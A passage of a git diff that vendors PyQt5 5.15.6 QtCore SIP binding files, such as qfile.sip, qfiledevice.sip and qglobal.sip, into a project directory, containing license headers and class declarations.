+ AllEvents, + ExcludeUserInputEvents, + ExcludeSocketNotifiers, + WaitForMoreEvents, + X11ExcludeTimers, + }; + + typedef QFlags ProcessEventsFlags; + bool processEvents(QEventLoop::ProcessEventsFlags flags = QEventLoop::AllEvents) /ReleaseGIL/; + void processEvents(QEventLoop::ProcessEventsFlags flags, int maximumTime) /ReleaseGIL/; + int exec(QFlags flags = AllEvents) /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,PyName=exec_,ReleaseGIL/; +%If (Py_v3) + int exec(QFlags flags = AllEvents) /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,ReleaseGIL/; +%End + void exit(int returnCode = 0); + bool isRunning() const; + void wakeUp(); + +public slots: + void quit(); + +public: + virtual bool event(QEvent *event); +}; + +QFlags operator|(QEventLoop::ProcessEventsFlag f1, QFlags f2); + +class QEventLoopLocker +{ +%TypeHeaderCode +#include +%End + +public: + QEventLoopLocker() /ReleaseGIL/; + explicit QEventLoopLocker(QEventLoop *loop) /ReleaseGIL/; + explicit QEventLoopLocker(QThread *thread) /ReleaseGIL/; + ~QEventLoopLocker(); + +private: + QEventLoopLocker(const QEventLoopLocker &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qeventtransition.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qeventtransition.sip new file mode 100644 index 00000000..7a0eaf7a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qeventtransition.sip @@ -0,0 +1,42 @@ +// qeventtransition.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QEventTransition : QAbstractTransition +{ +%TypeHeaderCode +#include +%End + +public: + QEventTransition(QState *sourceState /TransferThis/ = 0); + QEventTransition(QObject *object /KeepReference=10/, QEvent::Type type, QState *sourceState /TransferThis/ = 0); + virtual ~QEventTransition(); + QObject *eventSource() const; + void setEventSource(QObject *object /KeepReference=10/); + QEvent::Type eventType() const; + void setEventType(QEvent::Type type); + +protected: + virtual bool eventTest(QEvent *event); + virtual void onTransition(QEvent *event); + virtual bool event(QEvent *e); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfile.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfile.sip new file mode 100644 index 00000000..bdc1e060 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfile.sip @@ -0,0 +1,67 @@ +// qfile.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFile : QFileDevice +{ +%TypeHeaderCode +#include +%End + +public: + QFile(); + QFile(const QString &name); + explicit QFile(QObject *parent /TransferThis/); + QFile(const QString &name, QObject *parent /TransferThis/); + virtual ~QFile(); + virtual QString fileName() const; + void setFileName(const QString &name); + static QByteArray encodeName(const QString &fileName); + static QString decodeName(const QByteArray &localFileName); + static QString decodeName(const char *localFileName /Encoding="ASCII"/); + bool exists() const; + static bool exists(const QString &fileName); + QString symLinkTarget() const; + static QString symLinkTarget(const QString &fileName); + bool remove() /ReleaseGIL/; + static bool remove(const QString &fileName) /ReleaseGIL/; + bool rename(const QString &newName) /ReleaseGIL/; + static bool rename(const QString &oldName, const QString &newName) /ReleaseGIL/; + bool link(const QString &newName) /ReleaseGIL/; + static bool link(const QString &oldname, const QString &newName) /ReleaseGIL/; + bool copy(const QString &newName) /ReleaseGIL/; + static bool copy(const QString &fileName, const QString &newName) /ReleaseGIL/; + virtual bool open(QIODevice::OpenMode flags) /ReleaseGIL/; + bool open(int fd, QIODevice::OpenMode ioFlags, QFileDevice::FileHandleFlags handleFlags = QFileDevice::FileHandleFlag::DontCloseHandle) /ReleaseGIL/; + virtual qint64 size() const; + virtual bool resize(qint64 sz); + static bool resize(const QString &filename, qint64 sz); + virtual QFileDevice::Permissions permissions() const; + static QFileDevice::Permissions permissions(const QString &filename); + virtual bool setPermissions(QFileDevice::Permissions permissionSpec); + static bool setPermissions(const QString &filename, QFileDevice::Permissions permissionSpec); +%If (Qt_5_15_0 -) + bool moveToTrash(); +%End +%If (Qt_5_15_0 -) + static bool moveToTrash(const QString &fileName, QString *pathInTrash /Out/ = 0); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfiledevice.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfiledevice.sip new file mode 100644 index 00000000..9c19be1d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfiledevice.sip @@ -0,0 +1,199 @@ +// qfiledevice.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFileDevice : QIODevice /NoDefaultCtors/ +{ +%TypeHeaderCode +#include +%End + +public: + enum FileError + { + NoError, + ReadError, + WriteError, + FatalError, + ResourceError, + OpenError, + AbortError, + TimeOutError, + UnspecifiedError, + RemoveError, + RenameError, + PositionError, + ResizeError, + PermissionsError, + CopyError, + }; + + enum Permission + { + ReadOwner, + WriteOwner, + ExeOwner, + ReadUser, + WriteUser, + ExeUser, + ReadGroup, + WriteGroup, + ExeGroup, + ReadOther, + WriteOther, + ExeOther, + }; + + typedef QFlags Permissions; + + enum FileHandleFlag + { + AutoCloseHandle, + DontCloseHandle, + }; + + typedef QFlags FileHandleFlags; + virtual ~QFileDevice(); + QFileDevice::FileError error() const; + void unsetError(); + virtual void close() /ReleaseGIL/; + virtual bool isSequential() const; + int handle() const; + virtual QString fileName() const; + virtual qint64 pos() const; + virtual bool seek(qint64 offset) /ReleaseGIL/; + virtual bool atEnd() const; + bool flush() /ReleaseGIL/; + virtual qint64 size() const; + virtual bool resize(qint64 sz); + virtual QFileDevice::Permissions permissions() const; + virtual bool setPermissions(QFileDevice::Permissions permissionSpec); + + enum MemoryMapFlags + { + NoOptions, +%If (Qt_5_4_0 -) + MapPrivateOption, +%End + }; + + void *map(qint64 offset, qint64 size /ResultSize/, QFileDevice::MemoryMapFlags flags = QFileDevice::NoOptions) [uchar * (qint64 offset, qint64 size, QFileDevice::MemoryMapFlags flags = QFileDevice::NoOptions)]; + bool unmap(void *address) [bool (uchar *address)]; + +protected: + virtual SIP_PYOBJECT readData(qint64 maxlen) /TypeHint="Py_v3:bytes;str",ReleaseGIL/ [qint64 (char *data, qint64 maxlen)]; +%MethodCode + // Return the data read or None if there was an error. + if (a0 < 0) + { + PyErr_SetString(PyExc_ValueError, "maximum length of data to be read cannot be negative"); + sipIsErr = 1; + } + else + { + char *s = new char[a0]; + qint64 len; + + Py_BEGIN_ALLOW_THREADS + #if defined(SIP_PROTECTED_IS_PUBLIC) + len = sipSelfWasArg ? sipCpp->QFileDevice::readData(s, a0) : sipCpp->readData(s, a0); + #else + len = sipCpp->sipProtectVirt_readData(sipSelfWasArg, s, a0); + #endif + Py_END_ALLOW_THREADS + + if (len < 0) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + { + sipRes = SIPBytes_FromStringAndSize(s, len); + + if (!sipRes) + sipIsErr = 1; + } + + delete[] s; + } +%End + + virtual qint64 writeData(const char *data /Array/, qint64 len /ArraySize/) /ReleaseGIL/; + virtual SIP_PYOBJECT readLineData(qint64 maxlen) /TypeHint="Py_v3:bytes;str",ReleaseGIL/ [qint64 (char *data, qint64 maxlen)]; +%MethodCode + // Return the data read or None if there was an error. + if (a0 < 0) + { + PyErr_SetString(PyExc_ValueError, "maximum length of data to be read cannot be negative"); + sipIsErr = 1; + } + else + { + char *s = new char[a0]; + qint64 len; + + Py_BEGIN_ALLOW_THREADS + #if defined(SIP_PROTECTED_IS_PUBLIC) + len = sipSelfWasArg ? sipCpp->QFileDevice::readLineData(s, a0) : sipCpp->readLineData(s, a0); + #else + len = sipCpp->sipProtectVirt_readLineData(sipSelfWasArg, s, a0); + #endif + Py_END_ALLOW_THREADS + + if (len < 0) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + { + sipRes = SIPBytes_FromStringAndSize(s, len); + + if (!sipRes) + sipIsErr = 1; + } + + delete[] s; + } +%End + +public: +%If (Qt_5_10_0 -) + + enum FileTime + { + FileAccessTime, + FileBirthTime, + FileMetadataChangeTime, + FileModificationTime, + }; + +%End +%If (Qt_5_10_0 -) + QDateTime fileTime(QFileDevice::FileTime time) const; +%End +%If (Qt_5_10_0 -) + bool setFileTime(const QDateTime &newDate, QFileDevice::FileTime fileTime); +%End +}; + +QFlags operator|(QFileDevice::Permission f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfileinfo.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfileinfo.sip new file mode 100644 index 00000000..231f9b46 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfileinfo.sip @@ -0,0 +1,112 @@ +// qfileinfo.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFileInfo +{ +%TypeHeaderCode +#include +%End + +public: + QFileInfo(); + QFileInfo(const QString &file); + QFileInfo(const QFile &file); + QFileInfo(const QDir &dir, const QString &file); + QFileInfo(const QFileInfo &fileinfo); + ~QFileInfo(); + bool operator==(const QFileInfo &fileinfo) const; + bool operator!=(const QFileInfo &fileinfo) const; + void setFile(const QString &file); + void setFile(const QFile &file); + void setFile(const QDir &dir, const QString &file); + bool exists() const; + void refresh(); + QString filePath() const; + SIP_PYOBJECT __fspath__(); +%MethodCode + sipRes = qpycore_PyObject_FromQString(QDir::toNativeSeparators(sipCpp->filePath())); +%End + + QString absoluteFilePath() const; + QString canonicalFilePath() const; + QString fileName() const; + QString baseName() const; + QString completeBaseName() const; + QString suffix() const; + QString completeSuffix() const; + QString path() const; + QString absolutePath() const; + QString canonicalPath() const; + QDir dir() const; + QDir absoluteDir() const; + bool isReadable() const; + bool isWritable() const; + bool isExecutable() const; + bool isHidden() const; + bool isRelative() const; + bool isAbsolute() const; + bool makeAbsolute(); + bool isFile() const; + bool isDir() const; + bool isSymLink() const; + bool isRoot() const; + QString owner() const; + uint ownerId() const; + QString group() const; + uint groupId() const; + bool permission(QFileDevice::Permissions permissions) const; + QFileDevice::Permissions permissions() const; + qint64 size() const; + QDateTime created() const; + QDateTime lastModified() const; + QDateTime lastRead() const; + bool caching() const; + void setCaching(bool on); + QString symLinkTarget() const; + QString bundleName() const; + bool isBundle() const; + bool isNativePath() const; + void swap(QFileInfo &other /Constrained/); +%If (Qt_5_2_0 -) + static bool exists(const QString &file); +%End +%If (Qt_5_10_0 -) + QDateTime birthTime() const; +%End +%If (Qt_5_10_0 -) + QDateTime metadataChangeTime() const; +%End +%If (Qt_5_10_0 -) + QDateTime fileTime(QFileDevice::FileTime time) const; +%End +%If (Qt_5_14_0 -) + bool isSymbolicLink() const; +%End +%If (Qt_5_14_0 -) + bool isShortcut() const; +%End +%If (Qt_5_15_0 -) + bool isJunction() const; +%End +}; + +typedef QList QFileInfoList; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfileselector.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfileselector.sip new file mode 100644 index 00000000..eabaf0d2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfileselector.sip @@ -0,0 +1,41 @@ +// qfileselector.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QFileSelector : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QFileSelector(QObject *parent /TransferThis/ = 0); + virtual ~QFileSelector(); + QString select(const QString &filePath) const; + QUrl select(const QUrl &filePath) const; + QStringList extraSelectors() const; + void setExtraSelectors(const QStringList &list); + QStringList allSelectors() const; +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfilesystemwatcher.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfilesystemwatcher.sip new file mode 100644 index 00000000..8c7fb518 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfilesystemwatcher.sip @@ -0,0 +1,43 @@ +// qfilesystemwatcher.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFileSystemWatcher : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QFileSystemWatcher(QObject *parent /TransferThis/ = 0); + QFileSystemWatcher(const QStringList &paths, QObject *parent /TransferThis/ = 0); + virtual ~QFileSystemWatcher(); + bool addPath(const QString &file); + QStringList addPaths(const QStringList &files); + QStringList directories() const; + QStringList files() const; + bool removePath(const QString &file); + QStringList removePaths(const QStringList &files); + +signals: + void directoryChanged(const QString &path); + void fileChanged(const QString &path); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfinalstate.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfinalstate.sip new file mode 100644 index 00000000..85551865 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qfinalstate.sip @@ -0,0 +1,37 @@ +// qfinalstate.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QFinalState : QAbstractState +{ +%TypeHeaderCode +#include +%End + +public: + QFinalState(QState *parent /TransferThis/ = 0); + virtual ~QFinalState(); + +protected: + virtual void onEntry(QEvent *event); + virtual void onExit(QEvent *event); + virtual bool event(QEvent *e); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qglobal.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qglobal.sip new file mode 100644 index 00000000..c7a073a0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qglobal.sip @@ -0,0 +1,239 @@ +// qglobal.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleCode +#include +%End + +// PyQt version information. +int PYQT_VERSION; +const char *PYQT_VERSION_STR; + +%ModuleCode +static int PYQT_VERSION = 0x050f06; +static const char *PYQT_VERSION_STR = "5.15.6"; +%End +const int QT_VERSION; +const char *QT_VERSION_STR; +typedef signed char qint8 /PyInt/; +typedef unsigned char quint8 /PyInt/; +typedef short qint16; +typedef unsigned short quint16; +typedef int qint32; +typedef unsigned int quint32; +typedef long long qint64; +typedef unsigned long long quint64; +typedef qint64 qlonglong; +typedef quint64 qulonglong; +%If (PyQt_qreal_double) +typedef double qreal; +%End +%If (!PyQt_qreal_double) +typedef float qreal; +%End +typedef unsigned char uchar; +typedef unsigned short ushort; +typedef unsigned int uint; +typedef unsigned long ulong; +double qAbs(const double &t); +int qRound(qreal d); +qint64 qRound64(qreal d); +const char *qVersion(); +bool qSharedBuild(); +// Template definition for QFlags. +template +class QFlags /NoDefaultCtors, PyQtFlagsEnums="ENUM", TypeHintIn="Union[QFlags, ENUM]"/ +{ +public: + // QFlags is supposed to be a more type safe version of an int (even though + // Qt has cases where it expects multiple flag types to be or-ed together). + // Because of the C++ int() operator and because type(ENUM) is a sub-type + // of int, most of this is lost. Therefore we only implement logical + // operators that take int arguments. + QFlags(); + QFlags(int f /TypeHint="QFlags"/); + + // This will never be called because the above ctor will be invoked first. + // However it's required for sip to generate assignment helpers. + QFlags(const QFlags &); + + operator int() const; + + // This is required for Python v3.8 and later. + int __index__() const; +%MethodCode + sipRes = sipCpp->operator QFlags::Int(); +%End + + QFlags operator~() const; + + QFlags operator&(int f /TypeHint="QFlags"/) const; + QFlags &operator&=(int f /TypeHint="QFlags"/); + + QFlags operator|(int f /TypeHint="QFlags"/) const; + QFlags &operator|=(int f /TypeHint="QFlags"/); +%MethodCode + *sipCpp = QFlags(*sipCpp | a0); +%End + + QFlags operator^(int f /TypeHint="QFlags"/) const; + QFlags &operator^=(int f /TypeHint="QFlags"/); +%MethodCode + *sipCpp = QFlags(*sipCpp ^ a0); +%End + + // These are necessary to prevent Python comparing object IDs. + bool operator==(const QFlags &f) const; +%MethodCode + sipRes = (sipCpp->operator QFlags::Int() == a0->operator QFlags::Int()); +%End + + bool operator!=(const QFlags &f) const; +%MethodCode + sipRes = (sipCpp->operator QFlags::Int() != a0->operator QFlags::Int()); +%End + + int __bool__() const; +%MethodCode + sipRes = (sipCpp->operator QFlags::Int() != 0); +%End + + long __hash__() const; +%MethodCode + sipRes = sipCpp->operator QFlags::Int(); +%End + + +%ConvertToTypeCode +// Allow an instance of the base enum whenever a QFlags is expected. + +if (sipIsErr == NULL) + return (PyObject_TypeCheck(sipPy, sipTypeAsPyTypeObject(sipType_ENUM)) || + sipCanConvertToType(sipPy, sipType_QFlags, SIP_NO_CONVERTORS)); + +if (PyObject_TypeCheck(sipPy, sipTypeAsPyTypeObject(sipType_ENUM))) +{ + *sipCppPtr = new QFlags(int(SIPLong_AsLong(sipPy))); + + return sipGetState(sipTransferObj); +} + +*sipCppPtr = reinterpret_cast(sipConvertToType(sipPy, sipType_QFlags, sipTransferObj, SIP_NO_CONVERTORS, 0, sipIsErr)); + +return 0; +%End +}; +// Hook's into Qt's resource system. +%ModuleCode +QT_BEGIN_NAMESPACE +extern bool qRegisterResourceData(int, const unsigned char *, const unsigned char *, const unsigned char *); +extern bool qUnregisterResourceData(int, const unsigned char *, const unsigned char *, const unsigned char *); +QT_END_NAMESPACE +%End + +bool qRegisterResourceData(int, const unsigned char *, const unsigned char *, const unsigned char *); +bool qUnregisterResourceData(int, const unsigned char *, const unsigned char *, const unsigned char *); +bool qFuzzyCompare(double p1, double p2); +bool qIsNull(double d); +void qsrand(uint seed); +int qrand(); +typedef void *QFunctionPointer; +// Mapped type for qintptr. +// Map qintptr onto sip.voidptr. This means either an address (on Windows) or +// an integer file descriptor (on everything else) can be used. +%MappedType qintptr /TypeHint="PyQt5.sip.voidptr"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToTypeCode + qintptr ptr = (qintptr)sipConvertToVoidPtr(sipPy); + + if (!sipIsErr) + return !PyErr_Occurred(); + + // Mapped types deal with pointers, so create one on the heap. + qintptr *heap = new qintptr; + *heap = ptr; + + *sipCppPtr = heap; + + // Make sure the pointer doesn't leak. + return SIP_TEMPORARY; +%End + +%ConvertFromTypeCode + return sipConvertFromVoidPtr((void *)*sipCpp); +%End +}; +// Mapped type for quintptr. +// Map quintptr onto sip.voidptr. This means either an address (on Windows) or +// an integer file descriptor (on everything else) can be used. +%MappedType quintptr /TypeHint="PyQt5.sip.voidptr"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertToTypeCode + quintptr ptr = (quintptr)sipConvertToVoidPtr(sipPy); + + if (!sipIsErr) + return !PyErr_Occurred(); + + // Mapped types deal with pointers, so create one on the heap. + quintptr *heap = new quintptr; + *heap = ptr; + + *sipCppPtr = heap; + + // Make sure the pointer doesn't leak. + return SIP_TEMPORARY; +%End + +%ConvertFromTypeCode + return sipConvertFromVoidPtr((void *)*sipCpp); +%End +}; +// Implementations of pyqt[Set]PickleProtocol(). +void pyqtSetPickleProtocol(SIP_PYOBJECT /TypeHint="Optional[int]"/); +%MethodCode + Py_XDECREF(qpycore_pickle_protocol); + qpycore_pickle_protocol = a0; + Py_INCREF(qpycore_pickle_protocol); +%End + +SIP_PYOBJECT pyqtPickleProtocol() /TypeHint="Optional[int]"/; +%MethodCode + sipRes = qpycore_pickle_protocol; + if (!sipRes) + sipRes = Py_None; + + Py_INCREF(sipRes); +%End +%If (Qt_5_10_0 -) +QString qEnvironmentVariable(const char *varName); +%End +%If (Qt_5_10_0 -) +QString qEnvironmentVariable(const char *varName, const QString &defaultValue); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qhistorystate.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qhistorystate.sip new file mode 100644 index 00000000..73729561 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qhistorystate.sip @@ -0,0 +1,69 @@ +// qhistorystate.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QHistoryState : QAbstractState +{ +%TypeHeaderCode +#include +%End + +public: + enum HistoryType + { + ShallowHistory, + DeepHistory, + }; + + QHistoryState(QState *parent /TransferThis/ = 0); + QHistoryState(QHistoryState::HistoryType type, QState *parent /TransferThis/ = 0); + virtual ~QHistoryState(); + QAbstractState *defaultState() const; + void setDefaultState(QAbstractState *state /KeepReference=0/); + QHistoryState::HistoryType historyType() const; + void setHistoryType(QHistoryState::HistoryType type); + +protected: + virtual void onEntry(QEvent *event); + virtual void onExit(QEvent *event); + virtual bool event(QEvent *e); + +signals: +%If (Qt_5_4_0 -) + void defaultStateChanged(); +%End +%If (Qt_5_4_0 -) + void historyTypeChanged(); +%End + +public: +%If (Qt_5_6_0 -) + QAbstractTransition *defaultTransition() const; +%End +%If (Qt_5_6_0 -) + void setDefaultTransition(QAbstractTransition *transition /KeepReference=1/); +%End + +signals: +%If (Qt_5_6_0 -) + void defaultTransitionChanged(); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qidentityproxymodel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qidentityproxymodel.sip new file mode 100644 index 00000000..c364f058 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qidentityproxymodel.sip @@ -0,0 +1,60 @@ +// qidentityproxymodel.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QIdentityProxyModel : QAbstractProxyModel +{ +%TypeHeaderCode +#include +%End + +public: + explicit QIdentityProxyModel(QObject *parent /TransferThis/ = 0); + virtual ~QIdentityProxyModel(); + virtual int columnCount(const QModelIndex &parent = QModelIndex()) const; + virtual QModelIndex index(int row, int column, const QModelIndex &parent = QModelIndex()) const; + virtual QModelIndex mapFromSource(const QModelIndex &sourceIndex) const; + virtual QModelIndex mapToSource(const QModelIndex &proxyIndex) const; + virtual QModelIndex parent(const QModelIndex &child) const; + virtual int rowCount(const QModelIndex &parent = QModelIndex()) const; + virtual bool dropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent); + virtual QItemSelection mapSelectionFromSource(const QItemSelection &selection) const; + virtual QItemSelection mapSelectionToSource(const QItemSelection &selection) const; + virtual QModelIndexList match(const QModelIndex &start, int role, const QVariant &value, int hits = 1, Qt::MatchFlags flags = Qt::MatchStartsWith|Qt::MatchWrap) const; + virtual void setSourceModel(QAbstractItemModel *sourceModel /KeepReference/); + virtual bool insertColumns(int column, int count, const QModelIndex &parent = QModelIndex()); + virtual bool insertRows(int row, int count, const QModelIndex &parent = QModelIndex()); + virtual bool removeColumns(int column, int count, const QModelIndex &parent = QModelIndex()); + virtual bool removeRows(int row, int count, const QModelIndex &parent = QModelIndex()); +%If (Qt_5_5_0 -) + virtual QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::DisplayRole) const; +%End +%If (- Qt_5_5_0) + virtual QVariant headerData(int section, Qt::Orientation orientation, int role) const; +%End + virtual QModelIndex sibling(int row, int column, const QModelIndex &idx) const; +%If (Qt_5_15_0 -) + virtual bool moveRows(const QModelIndex &sourceParent, int sourceRow, int count, const QModelIndex &destinationParent, int destinationChild); +%End +%If (Qt_5_15_0 -) + virtual bool moveColumns(const QModelIndex &sourceParent, int sourceColumn, int count, const QModelIndex &destinationParent, int destinationChild); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qiodevice.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qiodevice.sip new file mode 100644 index 00000000..f6283aac --- /dev/null +++ 